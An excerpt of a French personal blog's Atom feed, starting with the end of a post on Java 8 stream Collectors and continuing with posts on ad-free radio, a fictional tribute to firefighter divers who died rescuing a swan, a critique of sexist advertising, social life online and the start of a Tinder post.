&lt;p&gt;La classe &lt;code&gt;Collectors&lt;/code&gt; du &lt;em&gt;package&lt;/em&gt; &lt;code&gt;java.util.stream&lt;/code&gt;
propose moult (37) méthodes permettant la « réduction » d&amp;rsquo;un &lt;em&gt;stream&lt;/em&gt; dans
l&amp;rsquo;optique du &lt;em&gt;design pattern map filter reduce&lt;/em&gt;. On y trouve par exemple;
&lt;em&gt;counting&lt;/em&gt;, &lt;em&gt;summing&lt;/em&gt;, &lt;em&gt;averaging&lt;/em&gt;, &lt;em&gt;joining&lt;/em&gt;, &lt;em&gt;mapping&lt;/em&gt;, … Ceci permettra
parfois d&amp;rsquo;éviter d&amp;rsquo;écrire une &lt;em&gt;lambda&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wednesday&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;map&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getName&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;collect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Collectors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;joining&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;, &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;pourra remplacer &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wednesday&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;map&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getName&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;reduce&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;, &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour d&amp;rsquo;autres exemples moins triviaux, on ira voir &lt;a href="http://fr.slideshare.net/mobile/jpaumard/jdk-8-lambdas-streams-collectos-bretagne-tour"&gt;la présentation de José Paumard&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Les exemples présentés ici et d&amp;rsquo;autres se trouvent dans &lt;a href="https://github.com/Pinkilla/jdk8"&gt;ce répo github&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="non-abordes"&gt;Points non abordés&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Si la classe &lt;code&gt;java.util.concurrent.Future&lt;/code&gt; est présente depuis jdk5, elle se voit ajouter la classe &lt;code&gt;CompletableFuture&lt;/code&gt; permettant de prévoir et d&amp;rsquo;organiser les tâches concurrentes.&lt;/li&gt;
&lt;li&gt;Les améliorations sur les classes utilisées en multi-processing.&lt;/li&gt;
&lt;li&gt;… et (probablement) d&amp;rsquo;autres choses encore &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;En espérant que ça favorise votre &lt;em&gt;upgrade&lt;/em&gt;… vous pouvez reprendre une activité normale. &lt;/p&gt;
&lt;h2&gt;Liens / crédits&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://highlyscalable.wordpress.com/2012/02/01/mapreduce-patterns/"&gt;Présentation de MapReduce pattern&lt;/a&gt; par Ilya Katsoz&lt;/li&gt;
&lt;li&gt;Les supports de &lt;a href="http://blog.paumard.org/"&gt;José Paumard&lt;/a&gt; suite à la conférence du BRUJUG à Leuven: &lt;a href="https://github.com/JosePaumard/jdk8-lambda-tour"&gt;GitHub&lt;/a&gt;, &lt;a href="http://fr.slideshare.net/mobile/jpaumard/jdk-8-lambdas-streams-collectos-bretagne-tour"&gt;Slideshare, lambdas-streams et collections&lt;/a&gt; et &lt;a href="http://www.slideshare.net/jpaumard/50-nouvelles-choses-que-lon-peut-faire-avec-java-8"&gt;Slideshare, 50 nouveautés&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mes exemples chez &lt;a href="https://github.com/Pinkilla/jdk8"&gt;github&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Crédit photo chez &lt;a href="http://deviantart.com"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://pinkillla.deviantart.com/art/Escalier-1000-458352437?ga_submit_new=10%253A1401824715"&gt;Pinkilla&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:tldr"&gt;
&lt;p&gt;Too long; don&amp;rsquo;t read signale que le billet n&amp;rsquo;est pas lu parce que trop
long. J&amp;rsquo;en fait ici un résumé … très très résumé ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:tldr" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:type"&gt;
&lt;p&gt;Dès lors que le compilateur peut inférer le type des variables, il peut être omis.&amp;#160;&lt;a class="footnote-backref" href="#fnref:type" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Comment mieux profiter de sa radio de voiture ?</title><link href="http://blog.namok.be/2014-05-30-comment-mieux-profiter-de-sa-radio-de-voiture.html" rel="alternate"/><published>2014-05-30T00:00:00+02:00</published><updated>2014-05-30T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-05-30:/2014-05-30-comment-mieux-profiter-de-sa-radio-de-voiture.html</id><summary type="html">Comment mieux profiter de sa radio de voiture ?</summary><content type="html">&lt;p&gt;&lt;img alt="listen_to_the_radio_by_klaraaaa-d3b6sjz.jpg" src="/images/listen_to_the_radio_by_klaraaaa-d3b6sjz.jpg" title="listen_to_the_radio_by_klaraaaa-d3b6sjz.jpg, mai 2014"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TL;DR &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; Et pourquoi pas un service premium sans pub à la radio ?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Les publicités m&amp;rsquo;énervent au plus haut point. Lorsqu&amp;rsquo;elles ne sont pas d&amp;rsquo;une &lt;a href="2006-07-08-mettre-le-four-a-180.html"&gt;bêtise sans nom&lt;/a&gt;, elles me relèguent dans le &lt;a href="2014-05-08-comment-avoir-une-erection-en-allant-travailler.html"&gt;rôle de « celui qui ne pense qu&amp;rsquo;à ça »&lt;/a&gt;. Depuis quelque temps, j&amp;rsquo;éteins la radio de la voiture dès qu&amp;rsquo;apparait la page de pub et je la rallume un peu plus tard.&lt;/p&gt;
&lt;p&gt;Je pourrais trouver un moyen de mettre de la musique dans ma voiture autrement que par la radio mais j&amp;rsquo;aime bien écouter certaines émissions. Ce qui m&amp;rsquo;embête, c&amp;rsquo;est la pub, pas les présentateurs, pas le journal… simplement cette damnée pub.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;J&amp;rsquo;éteins systématiquement la radio dans la voiture pendant les pubs… et je vais bien &lt;a href="https://twitter.com/search?q=%23pub&amp;amp;src=hash"&gt;#pub&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;— Pierre BT (@Pinkilla) &lt;a href="https://twitter.com/Pinkilla/statuses/471543528955596800"&gt;May 28, 2014&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Pourquoi ne pas proposer un service premium sans pub ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Oui, je veux bien payer (un peu) pour écouter la radio sans écouter de publicité. Ceux qui paie écoute un morceau de musique et les autres la plage de pub. Pour un prix raisonnable, je suis partant.&lt;/p&gt;
&lt;p&gt;Reste à trouver la solution technique…&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://klaraaaa.deviantart.com/art/listen-to-the-radio-200191247"&gt;Klaraaaa&lt;/a&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Too long; don&amp;rsquo;t read signale que le billet n&amp;rsquo;est pas lu parce que trop long. J&amp;rsquo;en fait ici un résumé … très très résumé ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Fais moi cygne</title><link href="http://blog.namok.be/2014-05-13-fais-moi-cygne.html" rel="alternate"/><published>2014-05-13T00:00:00+02:00</published><updated>2014-05-13T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-05-13:/2014-05-13-fais-moi-cygne.html</id><summary type="html">Fiction suite à l'actualité</summary><content type="html">&lt;p&gt;&lt;img alt="cygne_by_fanny_g-d72zzss.jpg" src="/images/cygne_by_fanny_g-d72zzss.jpg" title="cygne_by_fanny_g-d72zzss.jpg, mai 2014"&gt;&lt;/p&gt;
&lt;p&gt;« Ce sont les Saints de glace » m&amp;rsquo;avait dit ma mère la veille et c&amp;rsquo;est vrai que ce matin là la maison s&amp;rsquo;était radicalement rafraichie. Allais-je allumer le chauffage ? Je restais dans l&amp;rsquo;expectative tout en buvant ce bon café chaud gentiment préparés par les enfants. En ce matin de la fête des mères, ils avaient décidés d&amp;rsquo;apporter le petit déjeuner au lit « pour faire plaisir à maman ». À 7h tapantes, ils étaient là !&lt;/p&gt;
&lt;p&gt;La journée pouvait commencer.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;avais bien l&amp;rsquo;intention de rester encore un peu au lit maintenant qu&amp;rsquo;il était à nouveau libre des petits clandestins du matin lorsque le bip a sonné.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Plongeur - Sauvetage d&amp;rsquo;animaux&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;— Reviens vite, me dit ma femme.&lt;br&gt;
— Ô papa, tu dois partir ! me dit tristement mon ainée.&lt;br&gt;
— Prrt, ble ble ! me montre la petite dernière.&lt;/p&gt;
&lt;p&gt;Je saute dans la voiture, il s&amp;rsquo;agit de ne pas trainer.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;étais plongeur bien avant d&amp;rsquo;être pompier, j&amp;rsquo;aime le contact de l&amp;rsquo;eau, la piqure du froid lorsque l&amp;rsquo;on s&amp;rsquo;immerge et le silence. En tant que sapeur-pompier plongeur, les sorties sont différentes des sorties que je fais avec mon groupe de chasseurs d&amp;rsquo;images sous marines. Le « Dolly photos club » en rapport avec le dessin animé. Il s&amp;rsquo;agit de plonger dans des endroits parfois difficiles et souvent avec moins de visibilité mais l&amp;rsquo;enjeu est tout autre.&lt;/p&gt;
&lt;p&gt;Nous rejoignons les lieux de l&amp;rsquo;intervention et nous voyons le cygne coincé non loin du pont. Que fait on ?&lt;/p&gt;
&lt;p&gt;Ce n&amp;rsquo;est qu&amp;rsquo;un cygne.  &lt;br&gt;
C&amp;rsquo;est un cygne.&lt;/p&gt;
&lt;p&gt;La situation est sous contrôle, ça nous parrait à tous jouable sans trop de risques. Nous n&amp;rsquo;avons pas tous les jours l&amp;rsquo;occasion de plonger à cet endroit mais la procédure est rodée on sait tous ce que l&amp;rsquo;on a à faire. Maintenant que nous sommes là, on ne va pas laisser ce cygne en mauvaise posture.  &lt;/p&gt;
&lt;p&gt;Je serai rentré pour le diner.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est moi qui m&amp;rsquo;y colle. Mes collègues sont en soutien, je suis correctement attaché, ils donnent du mou, je me rapproche de l&amp;rsquo;animal. Il sent que je viens l&amp;rsquo;aider, il n&amp;rsquo;est pas agressif et je parviens sans trop de difficulté à le libérer.&lt;br&gt;
Mission accomplie.&lt;/p&gt;
&lt;p&gt;Il y a plus de remous soudain, la tension dans la corde est toujours là mais je ne parviens pas à rejoindre mes collègues. Je les vois en train d&amp;rsquo;essayer de me hisser. En vain. Ma tête heurte un piquet de béton.&lt;br&gt;
Je vais rater le diner.&lt;/p&gt;
&lt;p&gt;Je ne rentrerai pas.&lt;br&gt;
Je ne rentrerai plus.&lt;br&gt;
Je te fais cygne…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Cette fiction me vient suite à l&amp;rsquo;actualité de ce 10 mai 2014 où deux pompiers plongeurs ont perdu la vie en essayant de sauver un cygne à Tilff. Elle n&amp;rsquo;est en rien un reflet de la réalité que je ne connais pas. Je n&amp;rsquo;ai lu que quelques articles à ce sujet et l&amp;rsquo;un ou l&amp;rsquo;autre commentaires par çi par là. Ce texte se veut être un hommage en quelque sorte.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="https://blog.namok.be/fanny-g.deviantart.com/art/Cygne-428301820"&gt;Fanny-G&lt;/a&gt;&lt;/p&gt;</content></entry><entry><title>Comment avoir une érection en allant au travail ?</title><link href="http://blog.namok.be/2014-05-08-comment-avoir-une-erection-en-allant-travailler.html" rel="alternate"/><published>2014-05-08T00:00:00+02:00</published><updated>2014-05-08T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-05-08:/2014-05-08-comment-avoir-une-erection-en-allant-travailler.html</id><summary type="html">Comment avoir une érection en allant au travail ?</summary><content type="html">&lt;p&gt;&lt;img alt="la-guerre-du-feu-rae-dawn-chong.jpg" src="/images/la-guerre-du-feu-rae-dawn-chong.jpg" title="la-guerre-du-feu-rae-dawn-chong.jpg, mai 2014"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TL;DR Y a quand mêmes souvent des pubs connes… alors parfois je l&amp;rsquo;écris&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;hésite à appeler ce billet:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Les trois astuces incontournables pour avoir une érection en allant bosser&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Astuce 1&lt;/h2&gt;
&lt;p&gt;La première chose à faire, c&amp;rsquo;est d&amp;rsquo;écouter la publicité pour la Mercedes (je ne sais fichtre pas laquelle) qui nous dit en substance que la femme active est toujours prête. On oublie un peu prête à quoi, l&amp;rsquo;esprit vagabonde déjà…&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nous les femmes, on est toujours prêtes…&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;En tout cas, elle aura besoin de sa Mercedes, c&amp;rsquo;est pas pour n&amp;rsquo;importe qui.&lt;/p&gt;
&lt;h2&gt;Astuce 2&lt;/h2&gt;
&lt;p&gt;Tout en écoutant la radio, il faut passer devant les publicités &lt;a href="https://hm.com"&gt;H&amp;amp;M&lt;/a&gt; nous montrant au mieux des filles en jupes, au « pire » en maillot. L&amp;rsquo;important c&amp;rsquo;est la position dans laquelle elles se tiennent. J&amp;rsquo;ai beau regarder sur le quai, je ne vois aucune fille se tenir comme ça !&lt;/p&gt;
&lt;p&gt;&lt;img alt="hm-HM-New-Swimwear-Collection-2014-for-Women-by-Gisele-Bundchen-3.jpg" src="/images/hm-HM-New-Swimwear-Collection-2014-for-Women-by-Gisele-Bundchen-3.jpg" title="hm-HM-New-Swimwear-Collection-2014-for-Women-by-Gisele-Bundchen-3.jpg, mai 2014"&gt;&lt;/p&gt;
&lt;p&gt;Le message est clair:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Je n&amp;rsquo;ai aucune intention de nager, je t&amp;rsquo;attend (clin d&amp;rsquo;œil)&lt;br&gt;
Pub H&amp;amp;M&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="hm-HM-New-Swimwear-Collection-2014-for-Women-by-Gisele-Bundchen-5.jpg" src="/images/hm-HM-New-Swimwear-Collection-2014-for-Women-by-Gisele-Bundchen-5.jpg" title="hm-HM-New-Swimwear-Collection-2014-for-Women-by-Gisele-Bundchen-5.jpg, mai 2014"&gt;&lt;/p&gt;
&lt;p&gt;Même dans le train, les filles ne montrent pas la couture de leur pantalon. J&amp;rsquo;ai demandé à H&amp;amp;M ce qu&amp;rsquo;ils en pensaient et j&amp;rsquo;ai pas eu de réponse. N&amp;rsquo;hésitez pas à faire de même.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;La dernière fois à la plage (d&amp;rsquo;accord, c&amp;rsquo;est pas souvent) jamais vu de fille dans cette position #sexisme bête &lt;a href="https://twitter.com/hm"&gt;@hm&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;— Pierre BT (@Pinkilla) &lt;a href="https://twitter.com/Pinkilla/statuses/463714006038249472"&gt;May 6, 2014&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Astuce 3&lt;/h2&gt;
&lt;p&gt;La troisième astuce n&amp;rsquo;en n&amp;rsquo;est pas une … c&amp;rsquo;était pour avoir un titre accrocheur comme le propose &lt;a href="http://www.twelveskip.com/guide/blogging/1247/blog-post-title-templates-that-work"&gt;Pauline Cabrera&lt;/a&gt;. La troisième pub incriminée aujourd&amp;rsquo;hui est la pub pour &lt;a href="http://www.desigual.com/fr_FR"&gt;Desigual&lt;/a&gt; présentant des filles en train de percer des préservatifs.&lt;/p&gt;
&lt;div style="position:relative;padding-bottom:56.25%;height:0;overflow:hidden;"&gt;
  &lt;iframe src="https://geo.dailymotion.com/player.html?video=x2b7anm"
    style="width:100%; height:100%; position:absolute; left:0px; top:0px; overflow:hidden; border:none;"
    allowfullscreen
    title="Dailymotion Video Player"
    allow="web-share"&gt;
  &lt;/iframe&gt;
&lt;/div&gt;

&lt;p&gt;Ouf ! Ton érection retombe.&lt;br&gt;
Tu pourras arriver (physiquement) serein au travail ! &lt;/p&gt;
&lt;p&gt;Si les deux premières pubs te présentent les femmes &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;1&lt;/a&gt;&lt;/sup&gt; toujours disponibles pour toi (jolies, poses lascives et en disant qu&amp;rsquo;elles sont « toujours prêtes » &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;2&lt;/a&gt;&lt;/sup&gt; la troisième pub achève de te castrer.&lt;/p&gt;
&lt;p&gt;Si elles veulent un enfant — et le publiciste impose le fait qu&amp;rsquo;elles doivent vouloir — c&amp;rsquo;est bien elles qui décideront quand et avec qui.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;homme est réduit à l&amp;rsquo;animal reproducteur. On lui montre la femelle tout le temps histoire qu&amp;rsquo;il ne « pense qu&amp;rsquo;à ça » (ou au foot, ça peut aussi).&lt;/p&gt;
&lt;p&gt;La femme bien que présentée comme libre a le choix entre :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;objet de désir ou;&lt;/li&gt;
&lt;li&gt;mère qui perpétue la race.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Merci les publicistes, vous vous êtes trompés de millénaire mais bon, depuis le temps qu&amp;rsquo;on vous le dit, on sait que vous vous en foutez !&lt;/p&gt;
&lt;p&gt;À mort ces pubs !&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;On parle bien de toutes les femmes sans exception hein ! Celles que l&amp;rsquo;on trouve moches comme celles que l&amp;rsquo;on trouve jolies, les jeunes comme les vieilles, celle en vitrine comme celles qui vont travailler… le publiciste n&amp;rsquo;hésite pas à généraliser… et finalement aucune femme ne s&amp;rsquo;y retrouve. Si ?&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Bien sur que non, je n&amp;rsquo;entend pas la suite !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Comment rester social à l'ère des réseaux sociaux</title><link href="http://blog.namok.be/2014-05-08-comment-rester-social-avec-reseaux-sociaux.html" rel="alternate"/><published>2014-05-08T00:00:00+02:00</published><updated>2014-05-08T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-05-08:/2014-05-08-comment-rester-social-avec-reseaux-sociaux.html</id><summary type="html">L'homme est un animal social.</summary><content type="html">&lt;p&gt;&lt;img alt="" src="/images/cold_blooded_tea_party_by_guenzo-d5mlg0m.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Comment rester social à l&amp;rsquo;ère des réseaux sociaux ?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;homme est un animal social. De ce fait, il a besoin de communiquer et c&amp;rsquo;est
naturellement qu&amp;rsquo;il ira vers l&amp;rsquo;autre. Il a besoin de son cercle d&amp;rsquo;amis. &lt;/p&gt;
&lt;p&gt;Hier, je passais chez mes potes sans prévenir ou je les rencontrais aux « endroits habituels », là où l&amp;rsquo;on sait que l&amp;rsquo;on a une chance de voir quelqu&amp;rsquo;un que l&amp;rsquo;on connait.&lt;/p&gt;
&lt;p&gt;Puis, le téléphone (trans)portable a débarqué. D&amp;rsquo;abord un par famille puis un par personne. Je ne passe plus à l&amp;rsquo;improviste chez mes potes, j&amp;rsquo;envoie un sms pour prévenir ou j&amp;rsquo;appelle pour ne pas faire la route pour rien, pour ne pas déranger… parce que c&amp;rsquo;est comme ça. &lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, j&amp;rsquo;ai un compte Facebook / Twitter / Google+, je ne vais plus chez mes potes, je vois les photos qu&amp;rsquo;ils postent et c&amp;rsquo;est bien ainsi. Je sais qu&amp;rsquo;il vont bien. &lt;/p&gt;
&lt;p&gt;— Heu … &lt;br&gt;
— Non, c&amp;rsquo;est faux !&lt;br&gt;
— Ben, il faut le dire alors.  &lt;/p&gt;
&lt;p&gt;Je vois encore mes potes. Je suis même de ceux qui prennent peu de photos lorsqu&amp;rsquo;ils sont en bande. Je pense que mon smartphone est souvent dans la poche (sauf pour le calendrier) et que je peux pleinement profiter du temps avec les potes. &lt;/p&gt;
&lt;p&gt;Par contre, hier j&amp;rsquo;ai eu peur ! À la lecture d&amp;rsquo;un &lt;a href="http://www.huffingtonpost.com/janell-burley-hofmann/the-slow-tech-movement_b_5267326.html?utm_hp_ref=technology&amp;amp;ir=Technology&amp;amp;utm_source=twitterfeed&amp;amp;utm_medium=twitter"&gt;article&lt;/a&gt; de
recommandations sur le mouvement &lt;em&gt;low tech family&lt;/em&gt; pour vivre dans une famille 
« basse technologie », je lis parmi les 7 recommandations très pertinentes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Say &amp;ldquo;tell me&amp;rdquo; instead of &amp;ldquo;show me&amp;rdquo;. It&amp;rsquo;s so easy to quickly pull up a definition, video or example. Every now and then, sprinkle a &amp;ldquo;convo only&amp;rdquo; house rule around that kitchen island.&lt;br&gt;
Extrait de &lt;a href="http://www.huffingtonpost.com/janell-burley-hofmann/the-slow-tech-movement_b_5267326.html?utm_hp_ref=technology&amp;amp;ir=Technology&amp;amp;utm_source=twitterfeed&amp;amp;utm_medium=twitter"&gt;The slow tech movment&lt;/a&gt; &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;— D&amp;rsquo;accord, c&amp;rsquo;est juste. On fait ça à la maison.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;avais toutes ces idées en têtes assis en face d&amp;rsquo;un collègue pendant la pause. Je le vois et je me dis qu&amp;rsquo;il faut que je lui envoie un mail au sujet d&amp;rsquo;une chose à traiter prochainement… &lt;/p&gt;
&lt;p&gt;… (pom pom pom)&lt;/p&gt;
&lt;p&gt;… (&lt;em&gt;fear&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;Stop, je m&amp;rsquo;interromps et lui dis ce que je devais lui dire maintenant. &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Say &amp;ldquo;tell me&amp;rdquo; …&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Crédit photo chez &lt;a href="http://deviantart.com"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://guenzo.deviantart.com/art/Cold-blooded-tea-party-340282966"&gt;Guenzo&lt;/a&gt;&lt;/p&gt;</content></entry><entry><title>Love me Tinder</title><link href="http://blog.namok.be/2014-04-29-love-me-tinder.html" rel="alternate"/><published>2014-04-29T00:00:00+02:00</published><updated>2014-04-29T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-04-29:/2014-04-29-love-me-tinder.html</id><summary type="html">Love me Tinder</summary><content type="html">&lt;p&gt;&lt;img alt="Burning match" src="/images/burning_match_by_borda-d4dbsjl.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TL;DR &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; Applications de &amp;ldquo;dating&amp;rdquo;, pour des rencontres ou des plans cul ? Article (peut-être) NSFW&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Tinder permet aux gens de se rencontrer. C&amp;rsquo;est comme dans la vraie vie mais en mieux.&lt;br&gt;
–Tinder&lt;/p&gt;
&lt;/blockquote&gt;
